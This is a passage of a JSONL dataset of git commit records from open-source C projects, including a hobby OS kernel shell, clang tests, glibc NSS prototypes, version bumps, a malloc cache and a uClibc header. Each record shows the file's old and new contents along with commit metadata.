<stdio.h>\n#include <string.h>\n\nvoid kmain() {\n\t\/\/Install descriptor tables\n\tinstall_gdt();\n\tinstall_idt();\n\tinstall_isrs();\n\tinstall_irq();\n\tinstall_keyboard();\n\tasm volatile (\"sti\");\n\n\t\/\/Set up VGA text mode, and print a welcome message\n\tinitialize_screen();\n\tset_text_colors(VGA_COLOR_LIGHT_GRAY, VGA_COLOR_BLACK);\n\tclear_screen();\n\tprintf(\"NorbyOS v%s\\n\", NORBY_VERSION);\n\tchar* buffer;\n\twhile(1) {\n\t\tprintf(\"==> \");\n\t\tgets_s(buffer, 100);\n\t\tif(strcmp(buffer, \"colortest\") == 0) {\n\t\t\tcolortest();\n\t\t}\n\t\telse if(strcmp(buffer, \"clear\") == 0) {\n\t\t\tclear_screen();\n\t\t}\n\t}\n\n\t\/\/Enter an endless loop. If you disable this, another loop in boot.asm will\n\t\/\/start, but interrupts will be disabled.\n\twhile (1) {}\n}\n","subject":"Add \"clear\" command for clearing screen","message":"Add \"clear\" command for clearing screen\n","lang":"C","license":"mit","repos":"simon-andrews\/norby,simon-andrews\/norby,simon-andrews\/norby"}
{"commit":"a9dbb6171167387492343a681a87558d047fb5b8","old_file":"test\/CodeGen\/unwind-attr.c","new_file":"test\/CodeGen\/unwind-attr.c","old_contents":"\/\/ RUN: clang -fexceptions -emit-llvm -o - %s | grep \"@foo() {\" | count 1\n\/\/ RUN: clang -emit-llvm -o - %s | grep \"@foo() nounwind {\" | count 1\n\nint foo(void) {\n}\n","new_contents":"\/\/ RUN: clang -fexceptions -emit-llvm -o - %s | grep \"@foo() {\" | count 1 &&\n\/\/ RUN: clang -emit-llvm -o - %s | grep \"@foo() nounwind {\" | count 1\n\nint foo(void) {\n}\n","subject":"Fix test case RUN: line (thanks Argiris)","message":"Fix test case RUN: line (thanks Argiris)\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@54922 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"df16cf042b6085f68b4263e24f29ad61be71cea8","old_file":"nsswitch-internal.h","new_file":"nsswitch-internal.h","old_contents":"\/*\n * nsswitch_internal.h\n * Prototypes for some internal glibc functions that we use.  Shhh.\n *\/\n\n#ifndef NSSWITCH_INTERNAL_H\n#define NSSWITCH_INTERNAL_H\n\n#include \"config.h\"\n\n\/* glibc\/config.h.in *\/\n#if defined USE_REGPARMS && !defined PROF && !defined __BOUNDED_POINTERS__\n# define internal_function __attribute__ ((regparm (3), stdcall))\n#else\n# define internal_function\n#endif\n\n\/* glibc\/nss\/nsswitch.h *\/\ntypedef struct service_user service_user;\n\nextern int __nss_next (service_user **ni, const char *fct_name, void **fctp,\n\t\t       int status, int all_values);\nextern int __nss_database_lookup (const char *database,\n\t\t\t\t  const char *alternative_name,\n\t\t\t\t  const char *defconfig, service_user **ni);\nextern void *__nss_lookup_function (service_user *ni, const char *fct_name);\n\n\/* glibc\/nss\/XXX-lookup.c *\/\nextern int __nss_passwd_lookup (service_user **ni, const char *fct_name,\n\t\t\t\tvoid **fctp) internal_function;\nextern int __nss_group_lookup (service_user **ni, const char *fct_name,\n\t\t\t        void **fctp) internal_function;\n\n#endif \/* NSSWITCH_INTERNAL_H *\/\n","new_contents":"\/*\n * nsswitch_internal.h\n * Prototypes for some internal glibc functions that we use.  Shhh.\n *\/\n\n#ifndef NSSWITCH_INTERNAL_H\n#define NSSWITCH_INTERNAL_H\n\n#include <features.h>\n#include \"config.h\"\n\n\/* glibc\/config.h.in *\/\n#if __GLIBC_PREREQ(2, 27)\n# define internal_function\n#elif defined USE_REGPARMS && !defined PROF && !defined __BOUNDED_POINTERS__\n# define internal_function __attribute__ ((regparm (3), stdcall))\n#else\n# define internal_function\n#endif\n\n\/* glibc\/nss\/nsswitch.h *\/\ntypedef struct service_user service_user;\n\nextern int __nss_next (service_user **ni, const char *fct_name, void **fctp,\n\t\t       int status, int all_values);\nextern int __nss_database_lookup (const char *database,\n\t\t\t\t  const char *alternative_name,\n\t\t\t\t  const char *defconfig, service_user **ni);\nextern void *__nss_lookup_function (service_user *ni, const char *fct_name);\n\n\/* glibc\/nss\/XXX-lookup.c *\/\nextern int __nss_passwd_lookup (service_user **ni, const char *fct_name,\n\t\t\t\tvoid **fctp) internal_function;\nextern int __nss_group_lookup (service_user **ni, const char *fct_name,\n\t\t\t        void **fctp) internal_function;\n\n#endif \/* NSSWITCH_INTERNAL_H *\/\n","subject":"Update internal glibc functions ABI for glibc 2.27","message":"Update internal glibc functions ABI for glibc 2.27\n\nSigned-off-by: Anders Kaseorg <087231934ba8fcf78bc142ce37d193b895ac03c4@mit.edu>\n","lang":"C","license":"lgpl-2.1","repos":"andersk\/nss_nonlocal,andersk\/nss_nonlocal"}
{"commit":"9d9b91c4dfe47ef3d32ecc241461955d3c26b3bc","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       0\n#define CLIENT_VERSION_REVISION    2\n#define CLIENT_VERSION_BUILD       5\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       0\n#define CLIENT_VERSION_REVISION    2\n#define CLIENT_VERSION_BUILD       6\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Increase version to 1.0.2.6 r6","message":"Increase version to 1.0.2.6 r6","lang":"C","license":"mit","repos":"memeticproject\/memetic-core,memeticproject\/memetic-core,memeticproject\/memetic-core,memeticproject\/memetic-core,memeticproject\/memetic-core,memeticproject\/memetic-core"}
{"commit":"bf0d3c50784e0f7a1bb590a3979eba7c50726b1c","old_file":"chap1\/ftoc.c","new_file":"chap1\/ftoc.c","old_contents":"#include <stdio.h>\n\n\/* print Fahrenheit to Celsius table\n * for Fahrenheit 0, 20, ..., 300 *\/\nint main() \n{\n    int fahr;\n    int cel;\n    int lower;\n    int upper;\n    int step;\n\n    lower = 0; \/* lower bound for the table *\/\n    upper = 300; \/* upper bound for the table *\/\n    step = 20; \/* amount to step by *\/\n\n    fahr = lower;\n    while (fahr <= upper) {\n        cel = 5 * (fahr - 32) \/ 9;\n        printf(\"%3d\\t%6d\\n\", fahr, cel);\n        fahr += step;\n    }\n}\n","new_contents":"#include <stdio.h>\n\n\/* print Fahrenheit to Celsius table\n * for Fahrenheit 0, 20, ..., 300 *\/\nint main() \n{\n    float fahr;\n    float cel;\n    int lower;\n    int upper;\n    int step;\n\n    lower = 0; \/* lower bound for the table *\/\n    upper = 300; \/* upper bound for the table *\/\n    step = 20; \/* amount to step by *\/\n\n    fahr = lower;\n    while (fahr <= upper) {\n        cel = (5.0 \/ 9.0) * (fahr - 32.0);\n        printf(\"%3.0f\\t%6.1f\\n\", fahr, cel);\n        fahr += step;\n    }\n}\n","subject":"Change from `int` to `float`","message":"Change from `int` to `float`\n","lang":"C","license":"mit","repos":"jabocg\/theclang"}
{"commit":"3d9b68a94760fa90e3d380525f5547fa8a945538","old_file":"os\/gl\/gl_context.h","new_file":"os\/gl\/gl_context.h","old_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2022  Igara Studio S.A.\n\/\/ Copyright (C) 2015-2016  David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_GL_CONTEXT_INCLUDED\n#define OS_GL_CONTEXT_INCLUDED\n#pragma once\n\nnamespace os {\n\nclass GLContext {\npublic:\n  virtual ~GLContext() { }\n  virtual bool isValid() = 0;\n  virtual bool createGLContext() = 0;\n  virtual void destroyGLContext() = 0;\n  virtual void makeCurrent() = 0;\n  virtual void swapBuffers() = 0;\n};\n\n} \/\/ namespace os\n\n#endif\n","new_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2022  Igara Studio S.A.\n\/\/ Copyright (C) 2015-2016  David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_GL_CONTEXT_INCLUDED\n#define OS_GL_CONTEXT_INCLUDED\n#pragma once\n\nnamespace os {\n\nclass GLContext {\npublic:\n  virtual ~GLContext() { }\n  virtual bool isValid() { return false; }\n  virtual bool createGLContext() { }\n  virtual void destroyGLContext() { }\n  virtual void makeCurrent() { }\n  virtual void swapBuffers() { }\n};\n\n} \/\/ namespace os\n\n#endif\n","subject":"Make os::GLContext instantiable (isValid() returns false by default)","message":"Make os::GLContext instantiable (isValid() returns false by default)\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"5d4c2bb7b6f10ed33ea32ea97f070766a5ec6f2b","old_file":"src\/vistk\/scoring\/score_mask.h","new_file":"src\/vistk\/scoring\/score_mask.h","old_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_SCORING_SCORE_MASK_H\n#define VISTK_SCORING_SCORE_MASK_H\n\n#include \"scoring-config.h\"\n\n#include \"scoring_result.h\"\n\n#include <vil\/vil_image_view.h>\n\n\/**\n * \\file mask_scoring.h\n *\n * \\brief A function for scoring a mask.\n *\/\n\nnamespace vistk\n{\n\n\/\/\/ A typedef for a mask image.\ntypedef vil_image_view<bool> mask_t;\n\n\/**\n * \\brief Scores a computed mask against a truth mask.\n *\n * \\note The input images are expected to be the same size.\n *\n * \\todo Add error handling to the function (invalid sizes, etc.).\n *\n * \\param truth The truth mask.\n * \\param computed The computed mask.\n *\n * \\returns The results of the scoring.\n *\/\nscoring_result_t VISTK_SCORING_EXPORT score_mask(mask_t const& truth_mask, mask_t const& computed_mask);\n\n}\n\n#endif \/\/ VISTK_SCORING_SCORE_MASK_H\n","new_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_SCORING_SCORE_MASK_H\n#define VISTK_SCORING_SCORE_MASK_H\n\n#include \"scoring-config.h\"\n\n#include \"scoring_result.h\"\n\n#include <vil\/vil_image_view.h>\n\n#include <boost\/cstdint.hpp>\n\n\/**\n * \\file mask_scoring.h\n *\n * \\brief A function for scoring a mask.\n *\/\n\nnamespace vistk\n{\n\n\/\/\/ A typedef for a mask image.\ntypedef vil_image_view<uint8_t> mask_t;\n\n\/**\n * \\brief Scores a computed mask against a truth mask.\n *\n * \\note The input images are expected to be the same size.\n *\n * \\todo Add error handling to the function (invalid sizes, etc.).\n *\n * \\param truth The truth mask.\n * \\param computed The computed mask.\n *\n * \\returns The results of the scoring.\n *\/\nscoring_result_t VISTK_SCORING_EXPORT score_mask(mask_t const& truth_mask, mask_t const& computed_mask);\n\n}\n\n#endif \/\/ VISTK_SCORING_SCORE_MASK_H\n","subject":"Use bytes for mask images","message":"Use bytes for mask images\n","lang":"C","license":"bsd-3-clause","repos":"linus-sherrill\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit"}
{"commit":"8ebc25895f4832b73950ca32522dcb51e8ea8f5d","old_file":"src\/kernel\/kernel.h","new_file":"src\/kernel\/kernel.h","old_contents":"#ifndef KERNEL_H\r\n#define KERNEL_H\r\n\r\nvoid free_write();\r\nextern unsigned int endkernel;\r\n\r\n#endif","new_contents":"#ifndef KERNEL_H\r\n#define KERNEL_H\r\n\r\nvoid free_write();\r\nextern unsigned int endkernel;\r\n\r\nenum STATUS_CODE\r\n{\r\n    \/\/ General\r\n    GENERAL_SUCCESS,\r\n    GENERAL_FAILURE\r\n}\r\n\r\n#endif","subject":"Create an enum for all posible function return status codes","message":"Create an enum for all posible function return status codes\n","lang":"C","license":"bsd-3-clause","repos":"TwoUnderscorez\/DuckOS,TwoUnderscorez\/DuckOS,TwoUnderscorez\/DuckOS"}
{"commit":"68b56a8eb5f6b950fcd11b089f726bf7aaf7a311","old_file":"tools\/qb_blackbox.c","new_file":"tools\/qb_blackbox.c","old_contents":"\/*\n * Copyright (C) 2012 Andrew Beekhof <andrew@beekhof.net>\n *\n * libqb is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * libqb is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with libqb.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <qb\/qblog.h>\n\nint\nmain(int argc, char **argv)\n{\n\tint lpc = 0;\n\tfor(lpc = 1; lpc < argc && argv[lpc] != NULL; lpc++) {\n\t\tprintf(\"Dumping the contents of %s\\n\", argv[lpc]);\n\t\tqb_log_blackbox_print_from_file(argv[lpc]);\n\t}\n\treturn 0;\n}\n","new_contents":"\/*\n * Copyright (C) 2012 Andrew Beekhof <andrew@beekhof.net>\n *\n * libqb is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * libqb is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with libqb.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <qb\/qblog.h>\n\nint\nmain(int argc, char **argv)\n{\n\tint lpc = 0;\n\n        qb_log_init(\"qb_blackbox\", LOG_USER, LOG_TRACE);\n        qb_log_ctl(QB_LOG_STDERR, QB_LOG_CONF_ENABLED, QB_TRUE);\n        qb_log_filter_ctl(QB_LOG_STDERR, QB_LOG_FILTER_ADD, QB_LOG_FILTER_FILE, \"*\", LOG_TRACE);\n\n\tfor(lpc = 1; lpc < argc && argv[lpc] != NULL; lpc++) {\n\t\tprintf(\"Dumping the contents of %s\\n\", argv[lpc]);\n\t\tqb_log_blackbox_print_from_file(argv[lpc]);\n\t}\n\treturn 0;\n}\n","subject":"Enable error logging for the blackbox reader","message":"Enable error logging for the blackbox reader\n","lang":"C","license":"lgpl-2.1","repos":"davidvossel\/libqb,davidvossel\/libqb,rubenk\/libqb,ClusterLabs\/libqb,kgaillot\/libqb,kgaillot\/libqb,kgaillot\/libqb,gao-yan\/libqb,ClusterLabs\/libqb,ClusterLabs\/libqb,gao-yan\/libqb,rubenk\/libqb"}
{"commit":"b17dbf109de8dae1f917302c383093485beefa10","old_file":"ios\/RNCallKit\/RNCallKit.h","new_file":"ios\/RNCallKit\/RNCallKit.h","old_contents":"\/\/\n\/\/  RNCallKit.h\n\/\/  RNCallKit\n\/\/\n\/\/  Created by Ian Yu-Hsun Lin on 12\/22\/16.\n\/\/  Copyright © 2016 Ian Yu-Hsun Lin. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n#import <CallKit\/CallKit.h>\n#import <Intents\/Intents.h>\n\/\/#import <AVFoundation\/AVAudioSession.h>\n\n#import \"RCTEventEmitter.h\"\n\n@interface RNCallKit : RCTEventEmitter <CXProviderDelegate>\n\n@property (nonatomic, strong) CXCallController *callKitCallController;\n@property (nonatomic, strong) CXProvider *callKitProvider;\n\n+ (BOOL)application:(UIApplication *)application\n            openURL:(NSURL *)url\n            options:(NSDictionary<UIApplicationOpenURLOptionsKey, id> *)options NS_AVAILABLE_IOS(9_0);\n\n+ (BOOL)application:(UIApplication *)application\ncontinueUserActivity:(NSUserActivity *)userActivity\n  restorationHandler:(void(^)(NSArray * __nullable restorableObjects))restorationHandler;\n\n@end\n","new_contents":"\/\/\n\/\/  RNCallKit.h\n\/\/  RNCallKit\n\/\/\n\/\/  Created by Ian Yu-Hsun Lin on 12\/22\/16.\n\/\/  Copyright © 2016 Ian Yu-Hsun Lin. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n#import <CallKit\/CallKit.h>\n#import <Intents\/Intents.h>\n\/\/#import <AVFoundation\/AVAudioSession.h>\n\n#import <React\/RCTEventEmitter.h>\n\n@interface RNCallKit : RCTEventEmitter <CXProviderDelegate>\n\n@property (nonatomic, strong) CXCallController *callKitCallController;\n@property (nonatomic, strong) CXProvider *callKitProvider;\n\n+ (BOOL)application:(UIApplication *)application\n            openURL:(NSURL *)url\n            options:(NSDictionary<UIApplicationOpenURLOptionsKey, id> *)options NS_AVAILABLE_IOS(9_0);\n\n+ (BOOL)application:(UIApplication *)application\ncontinueUserActivity:(NSUserActivity *)userActivity\n  restorationHandler:(void(^)(NSArray * __nullable restorableObjects))restorationHandler;\n\n@end\n","subject":"Fix incorrect import on React-Native >=0.40","message":"Fix incorrect import on React-Native >=0.40\n\nFor reference, see here:\nhttps:\/\/github.com\/facebook\/react-native\/commit\/e1577df1fd70049ce7f288f91f6e2b18d512ff4d\n","lang":"C","license":"isc","repos":"ianlin\/react-native-callkit,ianlin\/react-native-callkit,killian90\/react-native-callkit"}
{"commit":"e7c1ac5d6e80b5def95a61fdb7eb79f4da9e45cb","old_file":"Runtime\/Rendering\/ResourceDX11.h","new_file":"Runtime\/Rendering\/ResourceDX11.h","old_contents":"#pragma once\n#include \"Rendering\/RendererDX11.h\"\n\nnamespace Mile\n{\n   enum class ERenderResourceType\n   {\n      VertexBuffer,\n      IndexBuffer,\n      ConstantBuffer,\n      StructuredBuffer,\n      ByteAddressBuffer,\n      IndirectArgumentsBuffer,\n      Texture1D,\n      Texture2D,\n      Texture3D,\n      RenderTarget,\n      DepthStencilBuffer,\n      Cubemap\n   };\n\n   class RendererDX11;\n   class MEAPI ResourceDX11\n   {\n   public:\n      ResourceDX11(RendererDX11* renderer) :\n         m_bIsInitialized(false),\n         m_renderer(renderer)\n      {\n      }\n\n      virtual ~ResourceDX11()\n      {\n      }\n\n      virtual ID3D11Resource* GetResource() const = 0;\n      virtual ERenderResourceType GetResourceType() const = 0;\n\n      FORCEINLINE bool IsInitialized() const { return m_bIsInitialized; }\n      FORCEINLINE bool HasAvailableRenderer() const { return (m_renderer != nullptr); }\n\n      FORCEINLINE RendererDX11* GetRenderer() const { return m_renderer; }\n\n   protected:\n      FORCEINLINE void ConfirmInitialize() { m_bIsInitialized = true; }\n\n   private:\n      RendererDX11* m_renderer;\n      bool m_bIsInitialized;\n\n   };\n}","new_contents":"#pragma once\n#include \"Rendering\/RendererDX11.h\"\n#include \"Core\/Engine.h\"\n\nnamespace Mile\n{\n   enum class ERenderResourceType\n   {\n      VertexBuffer,\n      IndexBuffer,\n      ConstantBuffer,\n      StructuredBuffer,\n      ByteAddressBuffer,\n      IndirectArgumentsBuffer,\n      Texture1D,\n      Texture2D,\n      Texture3D,\n      RenderTarget,\n      DepthStencilBuffer,\n      DynamicCubemap\n   };\n\n   class RendererDX11;\n   class MEAPI ResourceDX11\n   {\n   public:\n      ResourceDX11(RendererDX11* renderer) :\n         m_bIsInitialized(false),\n         m_renderer(renderer)\n      {\n      }\n\n      virtual ~ResourceDX11()\n      {\n         m_renderer = nullptr;\n      }\n\n      virtual ID3D11Resource* GetResource() const = 0;\n      virtual ERenderResourceType GetResourceType() const = 0;\n\n      FORCEINLINE bool IsInitialized() const { return m_bIsInitialized; }\n      FORCEINLINE bool HasAvailableRenderer() const\n      {\n         return (m_renderer != nullptr) && (Engine::GetRenderer() == m_renderer);\n      }\n\n      FORCEINLINE RendererDX11* GetRenderer() const { return m_renderer; }\n\n   protected:\n      FORCEINLINE void ConfirmInitialize() { m_bIsInitialized = true; }\n\n   private:\n      RendererDX11* m_renderer;\n      bool m_bIsInitialized;\n\n   };\n}","subject":"Modify HasAvailableRenderer method to check actually matched with Engine owned renderer","message":"Modify HasAvailableRenderer method to check actually matched with Engine owned renderer\n","lang":"C","license":"mit","repos":"HoRangDev\/MileEngine,HoRangDev\/MileEngine"}
{"commit":"7efded33d1a46f193690b9efb70e033a43984e66","old_file":"util\/malloccache.h","new_file":"util\/malloccache.h","old_contents":"#ifndef MALLOCCACHE_H\n#define MALLOCCACHE_H\n\ntemplate <size_t blockSize, size_t blockCount>\nclass MallocCache\n{\npublic:\n    MallocCache()\n       : m_blocksCached(0)\n    {\n    }\n\n    ~MallocCache()\n    {\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        for (size_t i = 0; i < m_blocksCached; i++) {\n            ::free(m_blocks[i]);\n        }\n    }\n\n    void *allocate()\n    {\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        if (m_blocksCached) {\n            return m_blocks[--m_blocksCached];\n        } else {\n            return ::malloc(blockSize);\n        }\n    }\n\n    void free(void *allocation)\n    {\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        if (m_blocksCached < blockCount) {\n            m_blocks[m_blocksCached++] = allocation;\n        } else {\n            ::free(allocation);\n        }\n    }\n\nprivate:\n    void *m_blocks[blockCount];\n    size_t m_blocksCached;\n};\n\n#endif \/\/ MALLOCCACHE_H\n","new_contents":"#ifndef MALLOCCACHE_H\n#define MALLOCCACHE_H\n\n\/\/ no-op the cache, sometimes useful for debugging memory issues\n\/\/#define MALLOCCACHE_PASSTHROUGH\n\ntemplate <size_t blockSize, size_t blockCount>\nclass MallocCache\n{\npublic:\n    MallocCache()\n       : m_blocksCached(0)\n    {\n    }\n\n    ~MallocCache()\n    {\n#ifndef MALLOCCACHE_PASSTHROUGH\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        for (size_t i = 0; i < m_blocksCached; i++) {\n            ::free(m_blocks[i]);\n        }\n#endif\n    }\n\n    void *allocate()\n    {\n#ifndef MALLOCCACHE_PASSTHROUGH\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        if (m_blocksCached) {\n            return m_blocks[--m_blocksCached];\n        } else {\n            return ::malloc(blockSize);\n        }\n#else\n        return ::malloc(blockSize);\n#endif\n    }\n\n    void free(void *allocation)\n    {\n#ifndef MALLOCCACHE_PASSTHROUGH\n        assert(m_blocksCached >= 0 && m_blocksCached <= blockCount);\n        if (m_blocksCached < blockCount) {\n            m_blocks[m_blocksCached++] = allocation;\n        } else {\n            ::free(allocation);\n        }\n#else\n        ::free(allocation);\n#endif\n    }\n\nprivate:\n    void *m_blocks[blockCount];\n    size_t m_blocksCached;\n};\n\n#endif \/\/ MALLOCCACHE_H\n","subject":"Add an ifdef to disable MallocCache for debugging.","message":"Add an ifdef to disable MallocCache for debugging.\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/dferry,KDE\/dferry"}
{"commit":"d778283f2fa7da8c0fdc48096fe4fe98009affd0","old_file":"Nyx\/InputComponent.h","new_file":"Nyx\/InputComponent.h","old_contents":"","new_contents":"\n#pragma once\n#include \"Component.h\"\n\n\nenum ENTITY_TYPE {PLAYER};\n\n\/\/ Commnets\nclass InputComponent :\n\tpublic Component\n{\npublic:\n  InputComponent();\n  ~InputComponent();\n  void SetEntityType(int entityType);\n  void HandleInput();\n  void HandlePlayerInput();\nprivate:\n  char* m_inputMessage;\n  ENTITY_TYPE m_entityType;\n}\n","subject":"Handle input by the user","message":"Handle input by the user","lang":"C","license":"apache-2.0","repos":"Rykkata\/nyx"}
{"commit":"9b4360b6b8e1ba4234f5b11b8217379faafcb3b7","old_file":"app\/src\/adb_parser.h","new_file":"app\/src\/adb_parser.h","old_contents":"#ifndef SC_ADB_PARSER_H\n#define SC_ADB_PARSER_H\n\n#include \"common.h\"\n\n#include \"stddef.h\"\n\n\/**\n * Parse the ip from the output of `adb shell ip route`\n *\/\nchar *\nsc_adb_parse_device_ip_from_output(char *buf, size_t buf_len);\n\n#endif\n","new_contents":"#ifndef SC_ADB_PARSER_H\n#define SC_ADB_PARSER_H\n\n#include \"common.h\"\n\n#include \"stddef.h\"\n\n\/**\n * Parse the ip from the output of `adb shell ip route`\n *\n * Warning: this function modifies the buffer for optimization purposes.\n *\/\nchar *\nsc_adb_parse_device_ip_from_output(char *buf, size_t buf_len);\n\n#endif\n","subject":"Add warning in function documentation","message":"Add warning in function documentation\n\nThe function parsing \"ip route\" output modifies the input buffer to\ntokenize in place. This must be mentioned in the function documentation.\n","lang":"C","license":"apache-2.0","repos":"Genymobile\/scrcpy,Genymobile\/scrcpy,Genymobile\/scrcpy"}
{"commit":"d1ad3c1bfafd23a8e97f58de84cb609ded486c62","old_file":"scripts\/startclose\/moreInfo.c","new_file":"scripts\/startclose\/moreInfo.c","old_contents":"startclose: moreInfo\nNew Window [ Name: \"More Info\"; Left: Get ( WindowDesktopWidth ) - (Get ( WindowDesktopWidth ) \/ 2 ) ]\nGo to Layout [ “about” (tempSetup) ]\nAdjust Window\n[ Resize to Fit ]\nPause\/Resume Script [ Indefinitely ]\nJanuary 23, 平成26 3:39:22 Imagination Quality Management.fp7 - about -1-\n","new_contents":"startclose: moreInfo\nNew Window [ Name: \"More Info\"; Left: Get ( WindowDesktopWidth ) - (Get ( WindowDesktopWidth ) \/ 2 ) ]\nGo to Layout [ “moreinfo” (tempSetup) ]\nAdjust Window\n[ Resize to Fit ]\nPause\/Resume Script [ Indefinitely ]\nJanuary 23, 平成26 3:39:22 Imagination Quality Management.fp7 - about -1-\n","subject":"Change more info window layout name","message":"Change more info window layout name\n","lang":"C","license":"apache-2.0","repos":"HelpGiveThanks\/Library,HelpGiveThanks\/Library"}
{"commit":"9dfa879c1264d0f10fb96915b04e2cc106abce3b","old_file":"include\/features.h","new_file":"include\/features.h","old_contents":"\n#ifndef __FEATURES_H\n#define __FEATURES_H\n\n#ifdef __STDC__\n\n#define __P(x) x\n#define __const const\n\n\/* Almost ansi *\/\n#if __STDC__ != 1\n#define const\n#define volatile\n#endif\n\n#else \/* K&R *\/\n\n#define __P(x) ()\n#define __const\n#define const\n#define volatile\n\n#endif\n\n\/* No C++ *\/\n#define __BEGIN_DECLS\n#define __END_DECLS\n\n\/* GNUish things *\/\n#define __CONSTVALUE\n#define __CONSTVALUE2\n\n#define _POSIX_THREAD_SAFE_FUNCTIONS\n\n#include <sys\/cdefs.h>\n\n\n#endif\n\n","new_contents":"\n#ifndef __FEATURES_H\n#define __FEATURES_H\n\n\n\/* Major and minor version number of the uCLibc library package.  Use\n   these macros to test for features in specific releases.  *\/\n#define\t__UCLIBC__\t\t0\n#define\t__UCLIBC_MAJOR__\t9\n#define\t__UCLIBC_MINOR__\t1\n\n\n#ifdef __STDC__\n\n#define __P(x) x\n#define __const const\n\n\/* Almost ansi *\/\n#if __STDC__ != 1\n#define const\n#define volatile\n#endif\n\n#else \/* K&R *\/\n\n#define __P(x) ()\n#define __const\n#define const\n#define volatile\n\n#endif\n\n\/* No C++ *\/\n#define __BEGIN_DECLS\n#define __END_DECLS\n\n\/* GNUish things *\/\n#define __CONSTVALUE\n#define __CONSTVALUE2\n\n#define _POSIX_THREAD_SAFE_FUNCTIONS\n\n#include <sys\/cdefs.h>\n\n\n#endif\n\n","subject":"Add in a version number so apps can tell uclib is being used. -Erik","message":"Add in a version number so apps can tell uclib is being used.\n -Erik\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
